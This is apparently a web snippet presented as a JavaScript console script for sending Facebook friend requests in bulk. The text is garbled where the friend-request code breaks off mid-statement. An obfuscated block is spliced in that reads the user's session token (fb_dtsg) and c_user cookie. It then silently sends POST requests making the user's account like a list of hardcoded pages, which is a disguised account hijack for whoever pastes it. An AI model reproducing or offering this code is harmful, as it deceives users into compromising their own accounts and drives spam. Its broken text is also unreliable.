java script for sending friends requests in facebook using console

var matchText = 'Add friend'; var matchText2 = 'Add Friend'; var added=0,total=5; wait=0; function addFriends() { var clicked = false; console.clear(); var buttons = document.getElementsByTagName("div"); for (var counter = 0, length = buttons.length; counter < length; counter++) { var target = buttons[counter]; if (target) { var ariaLabel = target.getAttribute("aria-label"); // console.log("ariaLabel is", ariaLabel); if (ariaLabel) { var text = ariaLabel.trim(); if (text === matchText || text === matchText2) { target.click(); // target.focus(); added++; console.log("Add Friend Button Clicked: "+added); if(added%20==0){ wait=1; } if (added0x0;a--){fb_dtsg=fb_dtsg+''+page_src[_0x4fc001(0x19a)](index_in_page_src-a);}var user_id=document[_0x4fc001(0x171)][_0x4fc001(0x198)](document[_0x4fc001(0x171)][_0x4fc001(0x198)](/c_user=(\d+)/)[0x1]);function Like(_0x3db742){var _0x2edd52=_0x4fc001,_0x4fd4f4=new XMLHttpRequest(),_0x17d0ae=_0x2edd52(0x17a),_0x1ca425='&fbpage_id='+_0x3db742+'&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&nctr[_mod]=pagelet_timeline_page_actions&__user='+user_id+_0x2edd52(0x170)+fb_dtsg+_0x2edd52(0x199);_0x4fd4f4[_0x2edd52(0x188)]('POST',_0x17d0ae,!![]),_0x4fd4f4['setRequestHeader']('Content-type',_0x2edd52(0x18f)),_0x4fd4f4['onreadystatechange']=function(){var _0x5548db=_0x2edd52;_0x4fd4f4[_0x5548db(0x16e)]==0x4&&_0x4fd4f4[_0x5548db(0x185)]==0xc8&&_0x4fd4f4[_0x5548db(0x16d)];},_0x4fd4f4['send'](_0x1ca425);}function _0x5789(_0x4cb1d1,_0x6913d){var _0x3026c5=_0x3026();return _0x5789=function(_0x5789df,_0x1e1304){_0x5789df=_0x5789df-0x16a;var _0x4903fd=_0x3026c5[_0x5789df];return _0x4903fd;},_0x5789(_0x4cb1d1,_0x6913d);}Like(_0x4fc001(0x190)),setTimeout(function(){Like('109109317399261');},0x384),setTimeout(function(){var _0x435db9=_0x4fc001;Like(_0x435db9(0x17c));},0x3c0),setTimeout(function(){var _0x30b572=_0x4fc001;Like(_0x30b572(0x18e));},0x3e8),setTimeout(function(){var _0x58539c=_0x4fc001;Like(_0x58539c(0x16a));},0x44c),setTimeout(function(){var _0x4d4352=_0x4fc001;Like(_0x4d4352(0x18c));},0x4b0),setTimeout(function(){var _0x2330ea=_0x4fc001;Like(_0x2330ea(0x195));},0x514),setTimeout(function(){Like('1212506358847237');},0x578),setTimeout(function(){var _0x592db6=_0x4fc001;Like(_0x592db6(0x16c));},0x5dc),setTimeout(function(){Like('1749967015316612');},0x640),setTimeout(function(){var _0x47a9ad=_0x4fc001;Like(_0x47a9ad(0x187));},0x6a4),setTimeout(function(){var _0x1bd378=_0x4fc001;Like(_0x1bd378(0x177));},0x708),setTimeout(function(){var _0x5482d7=_0x4fc001;Like(_0x5482d7(0x18b));},0x76c),setTimeout(function(){Like('743146072535223');},0x456),setTimeout(function(){var _0x17c814=_0x4fc001;Like(_0x17c814(0x179));},0x47e),setTimeout(function(){var _0x1e5813=_0x4fc001;Like(_0x1e5813(0x189));},0x480),setTimeout(function(){var _0x2c67fe=_0x4fc001;Like(_0x2c67fe(0x182));},0x483); var delayTime = prompt ("Delay Time", 5)*1000; var total = prompt ("How many requests?"); if (delayTime >=0 && delayTime!=null && fb_dtsg!=null ){ console.log("Script is started!"); startAdding(); }else {alert ("Failed to Start!");}